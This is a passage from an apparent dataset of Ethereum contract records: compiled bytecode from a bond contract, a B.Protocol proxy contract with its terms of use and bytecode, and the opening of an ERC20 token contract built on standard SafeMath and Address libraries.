91506110f9828261274b90919063ffffffff16565b925050611260565b611130620f4240611122611113610ec9565b866125f390919063ffffffff16565b61267990919063ffffffff16565b905061125d64174876e80061124f61124a7f000000000000000000000000610542a16f94b82c5836d6cd4846b1083a8714ad73ffffffffffffffffffffffffffffffffffffffff1663d1b317e57f000000000000000000000000bb19141e045b133169d7c7160c5e54a54cc821b26111b1888b61274b90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561120257600080fd5b505afa158015611216573d6000803e3d6000fd5b505050506040513d602081101561122c57600080fd5b81019080805190602001909291905050506112456123b0565b612795565b612a76565b61267990919063ffffffff16565b91505b915091565b60025481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b611317612ab2565b60006113216107fb565b90508084101561137c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135e56023913960400191505060405180910390fd5b60007f000000000000000000000000610542a16f94b82c5836d6cd4846b1083a8714ad73ffffffffffffffffffffffffffffffffffffffff1663d1b317e57f000000000000000000000000bb19141e045b133169d7c7160c5e54a54cc821b2886040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561142d57600080fd5b505afa158015611441573d6000803e3d6000fd5b505050506040513d602081101561145757600080fd5b810190808051906020019092919050505090506000807f0000000000000000000000000000000000000000000000000000000000000001156114a95761149c83611058565b80925081935050506114d0565b6114b288611058565b80925081935050506114cd818961274b90919063ffffffff16565b97505b60647f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561153857600080fd5b505afa15801561154c573d6000803e3d6000fd5b505050506040513d602081101561156257600080fd5b810190808051906020019092919050505060ff16600a0a8161158057fe5b048210156115f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f426f6e6420746f6f20736d616c6c00000000000000000000000000000000000081525060200191505060405180910390fd5b6115fe6124b7565b821115611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f426f6e6420746f6f206c6172676500000000000000000000000000000000000081525060200191505060405180910390fd5b611688836004546126c390919063ffffffff16565b600481905550600760040154600454111561170b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d6178206361706163697479207265616368656400000000000000000000000081525060200191505060405180910390fd5b604051806080016040528061176b84601260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546126c390919063ffffffff16565b815260200160076001015481526020014381526020016117896107fb565b815250601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015590505061180b886002546126c390919063ffffffff16565b600281905550611826826003546126c390919063ffffffff16565b600381905550611841826006546126c390919063ffffffff16565b6006819055507f000000000000000000000000000000000000000000000000000000000000000115611985577f000000000000000000000000610542a16f94b82c5836d6cd4846b1083a8714ad73ffffffffffffffffffffffffffffffffffffffff16630b04f9186118bc83856126c390919063ffffffff16565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156118f257600080fd5b505af1158015611906573d6000803e3d6000fd5b50505050600081146119805761197f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16827f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff16612add9092919063ffffffff16565b5b611a89565b7f000000000000000000000000610542a16f94b82c5836d6cd4846b1083a8714ad73ffffffffffffffffffffffffffffffffffffffff16630b04f918836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156119f857600080fd5b505af1158015611a0c573d6000803e3d6000fd5b5050505060008114611a8857611a8733600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16837f000000000000000000000000bb19141e045b133169d7c7160c5e54a54cc821b273ffffffffffffffffffffffffffffffffffffffff16612b7f909392919063ffffffff16565b5b5b611af6337f000000000000000000000000610542a16f94b82c5836d6cd4846b1083a8714ad8a7f000000000000000000000000bb19141e045b133169d7c7160c5e54a54cc821b273ffffffffffffffffffffffffffffffffffffffff16612b7f909392919063ffffffff16565b7fb7ce5a2d90f1705ca02547b0eb827724683e0df3b809477ae4326d0eefed0bc08883611b31600760010154436126c390919063ffffffff16565b60405180848152602001838152602001828152602001935050505060405180910390a17f2cb17bd1fd2a1fecfefae2de1e6a59194abaa62179652924ccdca01617f0bf16611b7d612c40565b611b856121fa565b604051808381526020018281526020019250505060405180910390a1611ba9612d65565b819450505050509392505050565b6000611bc1613523565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090506000611c4084610f4f565b90506127108110611d6c57601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000905560018201600090556002820160009055600382016000905550507f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b18483600001516000604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611d5e8483600001517f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff16612add9092919063ffffffff16565b816000015192505050611f5d565b6000611d99612710611d8b8486600001516125f390919063ffffffff16565b61267990919063ffffffff16565b90506040518060800160405280611dbd83866000015161274b90919063ffffffff16565b8152602001611def611ddc86604001514361274b90919063ffffffff16565b866020015161274b90919063ffffffff16565b81526020014381526020018460600151815250601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301559050507f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b18582601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611f5685827f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff16612add9092919063ffffffff16565b8093505050505b919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600061202d611035565b14612083576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806135a36021913960400191505060405180910390fd5b6040518060a0016040528087815260200186815260200185815260200184815260200183815250600760008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050508060048190555043600581905550505050505050565b60007f0000000000000000000000005a5b49dcf339bc0d5dac1736ec95a85ed4b4842f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f6e6c79207375627369647920636f6e74726f6c6c657200000000000000000081525060200191505060405180910390fd5b6006549050600060068190555090565b60126020528060005260406000206000915090508060000154908060010154908060020154908060030154905084565b6000612387670de0b6b3a76400006123796123746122ce7f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561227757600080fd5b505afa15801561228b573d6000803e3d6000fd5b505050506040513d60208110156122a157600080fd5b810190808051906020019092919050505060ff16600a0a6122c0611035565b6125f390919063ffffffff16565b7f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561233457600080fd5b505afa158015612348573d6000803e3d6000fd5b505050506040513d602081101561235e57600080fd5b8101908080519060200190929190505050612795565b612a76565b61267990919063ffffffff16565b905090565b60078060000154908060010154908060020154908060030154908060040154905085565b600061249c61246c60057f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561242057600080fd5b505afa158015612434573d6000803e3d6000fd5b505050506040513d602081101561244a57600080fd5b810190808051906020019092919050505060ff1661274b90919063ffffffff16565b600a0a61248e61247a6121fa565b6007600001546125f390919063ffffffff16565b61267990919063ffffffff16565b90506007600201548110156124b45760076002015490505b90565b6000612586620186a06125786007600301547f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561252f57600080fd5b505afa158015612543573d6000803e3d6000fd5b505050506040513d602081101561255957600080fd5b81019080805190602001909291905050506125f390919063ffffffff16565b61267990919063ffffffff16565b905090565b6000806125a36005544361274b90919063ffffffff16565b90506125d16007600101546125c3836004546125f390919063ffffffff16565b61267990919063ffffffff16565b91506004548211156125e35760045491505b5090565b60055481565b60045481565b6000808314156126065760009050612673565b600082840290508284828161261757fe5b041461266e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806135c46021913960400191505060405180910390fd5b809150505b92915050565b60006126bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ecb565b905092915050565b600080828401905083811015612741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061278d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f91565b905092915050565b61279d61354b565b600082116127f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061357d6026913960400191505060405180910390fd5b600083141561283457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050612a70565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff16831161296d57600082607060ff1685901b8161288157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115612938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050612a70565b6000612989846e01000000000000000000000000000085613051565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115612a3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681612aaa57fe5b049050919050565b612ace612abd61258b565b60045461274b90919063ffffffff16565b60048190555043600581905550565b612b7a8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613113565b505050565b612c3a846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613113565b50505050565b6000612d2c612cfc60057f0000000000000000000000008a854288a5976036a725879164ca3e91d30c6a1b73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612cb057600080fd5b505afa158015612cc4573d6000803e3d6000fd5b505050506040513d6020811015612cda57600080fd5b810190808051906020019092919050505060ff1661274b90919063ffffffff16565b600a0a612d1e612d0a6121fa565b6007600001546125f390919063ffffffff16565b61267990919063ffffffff16565b9050600760020154811015612d48576007600201549050612d62565b600060076002015414612d615760006007600201819055505b5b90565b6000612d84600c60030154600c600401546126c390919063ffffffff16565b90506000600c6001015414158015612d9c5750804310155b15612ec85760006007600001549050600c60000160009054906101000a900460ff1615612e0b57612de0600c600101546007600001546126c390919063ffffffff16565b600760000181905550600c6002015460076000015410612e06576000600c600101819055505b612e4f565b612e28600c6001015460076000015461274b90919063ffffffff16565b600760000181905550600c6002015460076000015411612e4e576000600c600101819055505b5b43600c600401819055507fb923e581a0f83128e9e1d8297aa52b18d6744310476e0b54509c054cd7a93b2a81600760000154600c60010154600c60000160009054906101000a900460ff1660405180858152602001848152602001838152602001821515815260200194505050505060405180910390a1505b50565b60008083118290612f77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f3c578082015181840152602081019050612f21565b50505050905090810190601f168015612f695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612f8357fe5b049050809150509392505050565b600083831115829061303e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613003578082015181840152602081019050612fe8565b50505050905090810190601f1680156130305780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006130608686613202565b915091506000848061306e57fe5b868809905082811115613082576001820391505b80830392508482106130fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b613107838387613255565b93505050509392505050565b6060613175826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166132f29092919063ffffffff16565b90506000815111156131fd5780806020019051602081101561319657600080fd5b81019080805190602001909291905050506131fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061362c602a913960400191505060405180910390fd5b5b505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8061322f57fe5b8486099050838502925082810391508281101561324d576001820391505b509250929050565b600080826000038316905080838161326957fe5b04925080858161327557fe5b049450600181826000038161328657fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b6060613301848460008561330a565b90509392505050565b606061331585613510565b613387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106133d757805182526020820191506020810190506020830392506133b4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613439576040519150601f19603f3d011682016040523d82523d6000602084013e61343e565b606091505b50915091508115613453578092505050613508565b6000815111156134665780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134cd5780820151818401526020810190506134b2565b50505050905090810190601f1680156134fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b600080823b905060008111915050919050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f44656274206d757374206265203020666f7220696e697469616c697a6174696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77536c697070616765206c696d69743a206d6f7265207468616e206d617820707269636556657374696e67206d757374206265206c6f6e676572207468616e20333620686f7572735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212207cb53c88ecec9dfdd35a46205abf5d87d65edd1e744dff1ab354c0e2ce4a563e64736f6c63430007050033
[ 12, 4, 7 ]
0xf258391e3daa6c80ec11e9808c9775574137dbd9
/** *Submitted for verification at Etherscan.io on 2021-02-25 */ /* B.PROTOCOL TERMS OF USE ======================= THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”). PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS. IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL. Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age. License; No Warranties; Limitation of Liability; (a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause. (b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. (c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ pragma solidity >=0.5.0 <0.7.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract Proxy { // masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal masterCopy; /// @dev Constructor function sets address of master copy contract. /// @param _masterCopy Master copy address. constructor(address _masterCopy) public { require(_masterCopy != address(0), "Invalid master copy address provided"); masterCopy = _masterCopy; } /// @dev Fallback function forwards all transactions and returns all received return data. function () external payable { // solium-disable-next-line security/no-inline-assembly assembly { let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, masterCopy) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } }
0x60806040526001600160a01b036000541663530ca43760e11b6000351415602a578060005260206000f35b3660008037600080366000845af43d6000803e806046573d6000fd5b3d6000f3fea265627a7a723158200483ef41942d35a9843ba75ad949f9826d46ed72252a9f36cf93862338e544b964736f6c63430005100032
[ 2 ]
0xf2586311cd368e2a8fde225e449531706663b217
pragma solidity ^0.8.13; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // 